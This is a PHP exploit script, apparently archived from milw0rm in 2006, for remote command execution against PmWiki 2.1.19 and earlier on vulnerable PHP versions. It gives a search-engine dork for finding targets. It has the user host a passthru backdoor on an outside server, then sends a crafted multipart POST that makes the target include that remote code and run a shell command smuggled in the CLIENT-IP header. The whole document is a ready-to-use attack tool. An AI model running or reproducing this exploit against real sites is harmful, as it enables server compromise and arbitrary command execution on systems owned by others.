151 lines
No EOL
4.4 KiB
PHP
151 lines
No EOL
4.4 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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print_r('
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--------------------------------------------------------------------------------
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PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
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by rgod rgod@autistici.org
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site: http://retrogod.altervista.org
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dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy
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--------------------------------------------------------------------------------
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');
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/*
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works with register_globals=On
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against PHP < 4.4.3, 5 <= PHP < 5.1.4
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*/
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if ($argc<5) {
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print_r('
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--------------------------------------------------------------------------------
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Usage: php '.$argv[0].' host path http_loc cmd OPTIONS
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host: target server (ip/hostname)
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path: path to pmwiki
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http_loc: an http site with the code to include (without ending slash)
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cmd: a shell command
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Options:
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-p[port]: specify a port other than 80
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-P[ip:port]: specify a proxy
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Example:
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php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80
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php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -p81
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Note:
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prepare this code in http://somehost.com/scripts/stdconfig.php/index.html :
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<?php
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error_reporting(0);set_time_limit(0);echo "my_delim";
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passthru($_SERVER["HTTP_CLIENT_IP"]);die;
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?>
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--------------------------------------------------------------------------------
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');
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die;
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}
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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$host=$argv[1];
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$path=$argv[2];
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$http_loc=$argv[3];
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$cmd="";
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$port=80;
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$proxy="";
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for ($i=4; $i<$argc; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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$data ="-----------------------------7d529a1d23092a\r\n";
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$data.="Content-Disposition: form-data; name=\"FarmD\";\r\n\r\n";
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$data.="$http_loc\r\n";
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$data.="-----------------------------7d529a1d23092a\r\n";
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$data.="Content-Disposition: form-data; name=\"-1778478215\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d529a1d23092a\r\n";
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$data.="Content-Disposition: form-data; name=\"-1304181425\";\r\n\r\n";
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$data.="1\r\n";
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$data.="-----------------------------7d529a1d23092a--\r\n";
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$packet ="POST ".$p."pmwiki.php?n=PmWiki.BasicEditing?action=edit HTTP/1.0\r\n";
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$packet.="CLIENT-IP: ".$cmd."\r\n";
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$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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if (strstr($html,"my_delim")){
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echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);
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}
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elseif (strstr($html,"failed to open stream"))
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{echo "*** adjust path... ***\n";die($html);}
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else
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{echo "exploit failed...";}
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?>
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# milw0rm.com [2006-09-03]
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